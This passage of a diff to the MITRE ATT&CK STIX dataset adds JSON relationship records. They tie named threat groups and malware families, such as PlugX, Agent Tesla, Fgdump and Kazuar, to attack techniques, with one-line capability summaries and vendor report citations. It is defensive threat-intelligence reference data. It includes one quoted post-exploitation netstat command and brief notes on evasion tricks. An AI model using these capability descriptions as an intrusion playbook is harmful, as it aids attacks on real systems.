"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate system information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--788ca56e-1194-4c5f-a12b-72678390f1ef", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can capture the victim\u2019s screen remotely.", + "type": "relationship", + "created": "2019-01-29T14:51:06.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0a40611-da3c-4447-b0af-fa66f927b623", + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.916Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve usernames from compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d1bee29-c394-48ca-8ded-21fd86e3ff43", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.068Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate drives and find files recursively.", + "type": "relationship", + "created": "2019-01-29T18:17:59.219Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07702379-2d40-48ae-a077-d68e0da5e4be", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.867Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--469585eb-231d-4ecb-8fc5-fb4f538c3875", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) collects the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:44:05.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e370a6e-2a3c-4e56-aa57-fecab8d09709", + "external_references": [ + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "modified": "2019-04-16T14:30:35.324Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Fgdump](https://attack.mitre.org/software/S0120) can dump Windows password hashes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1d5a985-406e-4b03-9f55-2706a2adba92", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can upload and download files to and from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:55:20.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad787fb5-9d63-423d-941f-bfe7648b2e24", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:52.997Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) encodes communications to the C2 server in Base64.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--596f9132-84e2-42c9-ad58-8833fe38b1e6", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.776Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:51:54.148Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0", + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + } + ], + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "relationship_type": "uses", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect the victim's IP address.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--548e7315-5055-4434-96c1-1429779b0e2b", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getProcessList function to run ps aux to get running processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb005145-438c-4fd8-9cac-a636df7465da", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.138Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) captures keystrokes and sends them back to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5375b22d-1da8-4178-b728-5b91b6917a5c", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.916Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d988f8f-2448-409c-ac41-4a507bb8cf23", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.686Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to display network connections: netstat -ano >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9fef204f-163a-4c9d-b9b1-8a168074063a", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.164Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used port 8080 for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0ed6995-15c9-4221-9783-4b61281d1d02", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ], + "modified": "2019-07-08T14:33:16.142Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a8f0313-4059-42b9-b487-6c8f860588c0", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to discover processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies documents under 15MB found on the victim system to is the user's %temp%\\SMB\\ folder. It also copies files from USB devices to a predefined directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db8f1355-57f0-446d-a261-b168497b20c6", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) communicates over raw TCP.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65493f92-06f8-407c-8fdb-f53706849b12", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used spearphishing with Microsoft Office attachments to target victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1da542f3-0003-4eb7-9bb6-1bd3cced9763", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.622Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) enables remote interaction and can obtain additional code over HTTPS GET and POST requests.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae3a87db-018b-441d-bc5c-4f7e30ce5551", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.616Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.307Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a3963b8-3ffd-41a9-bd03-57cba4f03882", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) downloads a new version of itself once it has installed. It also downloads additional plugins.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4bb79228-9531-47c0-8e73-401e741593a8", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "modified": "2019-06-24T19:07:12.616Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to remove indicators of compromise from tools.", + "type": "relationship", + "created": "2018-01-16T21:43:14.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--febbf503-d7e5-4896-90b9-35b6a811b19b", + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "modified": "2019-04-29T18:01:20.575Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) uses HTTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed94edc7-e687-409e-9143-20a15190bd83", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.307Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4e36dcb-9c07-4c22-a182-61ac194a434f", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) enumerates the running processes on the system.", + "type": "relationship", + "created": "2019-01-29T20:17:49.270Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17cafa26-57f1-4efb-9d23-1399cd2de4cd", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } 